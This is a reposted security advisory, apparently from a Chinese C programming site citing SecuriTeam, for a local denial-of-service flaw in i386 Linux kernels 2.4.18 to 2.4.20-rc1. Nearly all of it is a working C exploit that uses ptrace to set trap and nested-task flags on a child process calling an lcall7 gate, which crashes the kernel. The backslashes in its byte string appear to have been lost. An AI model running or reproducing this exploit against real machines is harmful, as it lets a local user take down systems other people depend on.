i386 Linux Kernel DoS(Local)

文章类别：C语言程序设计 | 发表日期:2008-9-24 14:38:32

Vulnerable systems:
* Linux Kernel version 2.4.18 and prior
* Linux Kernel version 2.4.19
* Linux Kernel version 2.4.20-rc1

Exploit:
#include <sys/ptrace.h>

struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};

int main( void )
{
int pid;
char dos[] = "x9Ax00x00x00x00x07x00";
void (* lcall7)( void ) = (void *) dos;
struct user_regs_struct d;

if( ! ( pid = fork() ) )
{
usleep( 1000 );
(* lcall7)();
}
else
{
ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1 )
{
wait( 0 );
ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags |= 0x4100; /* set TF and NT */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );
}
}

return 1;
}

Additional information
The information has been provided by Christophe Devine.

来源：securiteam

上一篇：{技巧}C语言链表的创建与排序 人气:7043
下一篇：{技巧}一种新的单字节缓冲区溢出技术 人气:4393

C语言程序设计视频教程